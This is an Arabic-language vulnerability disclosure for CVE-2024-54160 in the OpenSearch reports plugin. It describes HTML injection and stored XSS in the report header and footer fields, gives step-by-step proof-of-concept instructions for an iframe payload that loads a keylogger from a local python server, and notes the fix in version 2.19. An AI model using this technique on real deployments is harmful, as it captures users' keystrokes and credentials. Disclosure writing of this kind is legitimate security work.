[CVE-2024-54160]-Opensearch-حقن-HTML + XSS مخزّن

تم اكتشاف أن إضافة Opensearch المسماة "reports" كانت عرضة لحقن HTML في الإصدار 2.18.0. سمحت وظيفة التقرير للمستخدمين بتخزين HTML في الرأس والتذييل أثناء إنشاء تعريف تقرير جديد. فيما يلي إثبات مفهوم سريع حيث قمت بتخزين iframe في وظيفة الرأس الذي جلب مسجل ضغطات مفاتيح JavaScript من جهازي المحلي والذي سجل المفاتيح التي كتبها المستخدم.

إثبات المفهوم (PoC)

1. قم بتعديل ملف keylogger.html وأضف عنوان IP محلي يعمل عليه python3 http.server.
2. احفظ ملف keylogger.html
3. ابدأ تشغيل خادم python3 باستخدام الأمر "python3 -m http.server" في نفس مسار ملف keylogger.html
4. اذهب إلى التقارير (Reports)
5. املأ الحقول المطلوبة
6. اختر PDF
7. فعّل الرأس أو التذييل
8. أدخل الحمولة iframe -> :8000/keylogger.html">
9. انقر على "معاينة" - يجب تحميل مسجل الضغطات من خادم python
10. اكتب شيئًا على لوحة المفاتيح وشاهد الاستجابة في خادم python

لقطة شاشة لإثبات المفهوم أثناء العمل

• يتم عرض المحتوى المُضمن (iframed) على اليسار (أعلم أنه بسيط وقبيح، لكنه يعمل كإثبات مفهوم :) ).
• تظهر ضغطات المفاتيح المسجلة على اليمين. (إثبات مفهوم مسجل الضغطات لم يكن مثاليًا لأنه فاته بعض ضغطات المفاتيح مع ذلك!)

الإجراء التصحيحي

تم إصلاح هذه الثغرة في إصدار Opensearch 2.19، حيث يتم تعقيم البيانات الممررة في وظيفة التذييل/الرأس باستخدام DOMpurify.

ملاحظات الإصدار https://github.com/opensearch-project/opensearch-build/blob/main/release-notes/opensearch-release-notes-2.19.0.md

طلب السحب (PR) من Opensearch

https://github.com/opensearch-project/dashboards-reporting/pull/476

XSS مخزّن

تم العثور أيضًا على الإصدار 2.17.9. عرضة لـ XSS مخزّن في نفس الوظيفة (التذييل/الرأس). تم إصلاح هذا أيضًا في الإصدار 2.19.0.

CVE

https://www.cve.org/CVERecord?id=CVE-2024-54160